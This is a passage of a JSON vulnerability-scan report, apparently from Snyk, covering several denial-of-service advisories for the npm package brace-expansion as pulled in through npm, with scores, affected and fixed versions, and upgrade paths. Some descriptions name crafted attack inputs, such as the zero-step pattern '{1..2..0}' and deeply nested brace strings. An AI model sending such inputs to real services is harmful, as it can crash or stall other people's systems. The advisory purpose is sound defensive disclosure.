"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
